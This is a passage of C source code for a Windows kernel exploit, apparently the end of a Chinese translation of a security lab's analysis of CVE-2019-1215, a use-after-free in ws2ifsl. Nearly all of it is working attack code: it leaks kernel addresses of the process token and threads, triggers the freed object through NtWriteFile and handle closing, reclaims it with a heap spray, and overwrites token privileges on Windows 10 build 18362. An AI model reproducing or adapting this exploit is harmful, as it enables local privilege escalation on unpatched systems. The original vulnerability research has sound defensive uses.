LARGE_INTEGER byteOffset; byteOffset.HighPart = 0; byteOffset.LowPart = 0; byteOffset.QuadPart = 0; byteOffset.u.LowPart = 0; byteOffset.u.HighPart = 0; ULONG key = 0; CloseHandle(procHandle); NTSTATUS ret = g_NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key); // this close the objecte and we trigger the use after free CloseHandle(sockHandle); // this spray will reclaim the buffer if (!DoHeapSpray(writeAddress, kthreadAddress)) { printf("[-] error doHeapSpray\n"); return; } if (id == 1) { g_done1 = 1; } if (id == 2) { g_done2 = 1; } printf("[+] done\n"); Sleep(0x20); free(readBuffer); return; } /* This function resolves all function pointer for native api calls. */ bool InitFunctionPointers() { HMODULE hNtDll = NULL; hNtDll = LoadLibrary("ntdll.dll"); if (!hNtDll) { printf("error\n"); return false; } g_NtTestAlert = (NtTestAlert_t)GetProcAddress(hNtDll, "NtTestAlert"); if (!g_NtTestAlert) { printf("error\n"); return false; } g_NtWriteFile = (NtWriteFile_t)GetProcAddress(hNtDll, "NtWriteFile"); if (!g_NtWriteFile) { printf("[-] GetProcAddress() NtWriteFile failed.\n"); return false; } g_RtlGetVersion = (RtlGetVersion_t)GetProcAddress(hNtDll, "RtlGetVersion"); if (!g_NtWriteFile) { printf("[-] GetProcAddress() RtlGetVersion failed.\n"); return false; } return true; } int main() { // intialize event for thread synchronization g_Event1 = CreateEvent(0, 0, 0, 0); g_Event2 = CreateEvent(0, 0, 0, 0); g_Event3 = CreateEvent(0, 0, 0, 0); if (g_Event1 == INVALID_HANDLE_VALUE || !g_Event1) { printf("[-] CreateEvent failed\n"); return 0; } if (g_Event2 == INVALID_HANDLE_VALUE || !g_Event2) { printf("[-] CreateEvent failed\n"); return 0; } if (g_Event3 == INVALID_HANDLE_VALUE || !g_Event2) { printf("[-] CreateEvent failed\n"); return 0; } if (!InitFunctionPointers()) { printf("[-] InitFunctionPointers failed\n"); return 0; } HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId()); if (!proc) { printf("[-] OpenProcess failed\n"); return 0; } HANDLE token = 0; if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token)) { printf("[-] OpenProcessToken failed\n"); return 0; } DWORD64 ktoken = GetKernelPointer(token, 0x5); DWORD64 where = ktoken + TOKEN_OFFSET; printf("[+] found token at: %p\n", (DWORD64) ktoken); // check the supported version of this exploit, otherwise we would crash RTL_OSVERSIONINFOW osversion; g_RtlGetVersion(&osversion); if (osversion.dwMajorVersion == 10 && osversion.dwBuildNumber == 18362) { printf("[+] version supported\n"); } else { printf("[-] sorry version not supported\n"); return 0; } HANDLE hAPCThread1 = CreateThread(0, 0, APCThread1, 0, 0, 0); if (hAPCThread1 == INVALID_HANDLE_VALUE || !hAPCThread1) { printf("[-] error CreateThread\n"); return 0; } HANDLE hAPCThread2 = CreateThread(0, 0, APCThread2, 0, 0, 0); if (hAPCThread2 == INVALID_HANDLE_VALUE || !hAPCThread2) { printf("[-] error CreateThread\n"); return 0; } DWORD64 threadAddrAPC1 = GetKernelPointer(hAPCThread1, 0x8); if (!threadAddrAPC1) { printf("[-] GetKernelPointer error \n"); return 0; } DWORD64 threadAddrAPC2 = GetKernelPointer(hAPCThread2, 0x8); if (!threadAddrAPC2) { printf("[-] GetKernelPointer error \n"); return 0; } // wait for threads to be initialized WaitForSingleObject(g_Event1, -1); WaitForSingleObject(g_Event2, -1); TriggerBug(hAPCThread1, where-8, threadAddrAPC1, 1); TriggerBug(hAPCThread2, where, threadAddrAPC2, 2); WaitForSingleObject(g_Event3, -1); ExitProcess(0); return 0; }
本文翻译自:https://labs.bluefrostsecurity.de/blog/2020/01/07/cve-2019-1215-analysis-of-a-use-after-free-in-ws2ifsl/如若转载,请注明原文地址: